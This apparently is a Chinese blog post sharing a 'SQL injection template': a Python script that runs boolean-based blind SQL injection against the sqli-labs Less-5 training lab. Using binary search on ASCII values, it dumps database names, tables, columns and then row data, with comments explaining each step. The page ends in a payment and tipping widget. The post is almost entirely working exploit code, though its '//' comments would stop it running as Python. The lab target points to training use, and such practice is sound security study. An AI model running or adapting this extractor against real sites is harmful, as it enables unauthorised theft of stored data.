sqli注入模板

import requests
url="http://192.168.43.92/sqli-labs-master/Less-5/?id=' and "
def name(db_name,t_name,d_name,num):
    for j in range(0,20)://此处是爆破出所有数据库
        res=''
        for i in range(1,20)://此处是依次爆破出数据库的字符,一般数据库名称也不会太长
            l=0
            r=127
            mid=(l+r)>>1
            while(l<r)://二分法懂吧,逐渐将l,r范围缩小
                pay0="(ascii(mid((select schema_name from information_schema.schemata limit {0},1),{1},1))>{2})--+".format(j,i,mid)//j是第几个数据库,i是第几个字符,mid是用二分法来确定字符,从65(A)到127(z)
                pay1="(ascii(mid((select table_name from information_schema.tables where table_schema='"+db_name+"' limit {0},1),{1},1))>{2})--+".format(j,i,mid)
                pay2="(ascii(mid((select column_name from information_schema.columns where table_name='"+t_name+"' and table_schema='"+db_name+"' limit {0},1),{1},1))>{2})--+".format(j,i,mid)
                pay3="(ascii(mid((select "+d_name+" from "+db_name+"."+t_name+" limit {0},1),{1},1))>{2})--+".format(j,i,mid)
                if(num==0):
                    r1=requests.get(url+pay0)    
                if(num==1):
                    r1=requests.get(url+pay1)
                if(num==2):
                    r1=requests.get(url+pay2)
                if(num==3):
                    r1=requests.get(url+pay3)
                if("You are in" in r1.text):
                    l=mid+1        //正确时左值逐渐增加
                else:
                    r=mid    	//不正确右值重新变为中间值,左值为上一个正确时的左值,否则左值变为上个正确字符的左值
                mid = (l+r)>>1		//改变中间值逐渐范围缩小
            if(mid==0):
                break
            res+=chr(mid)
        if(res==''):
            break
        print(res)
def main():
    print("所有数据库的名称:")
    name('','','',0)
    db_name=input("请输入要查询表的数据库名称:")
    name(db_name,'','',1)
    t_name=input("请输入要查询字段名的表名:")
    name(db_name,t_name,'',2)
    d_name=input("请输入要查询内容的字段名:")
    name(db_name,t_name,d_name,3)
if __name__ == "__main__":
    main()

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值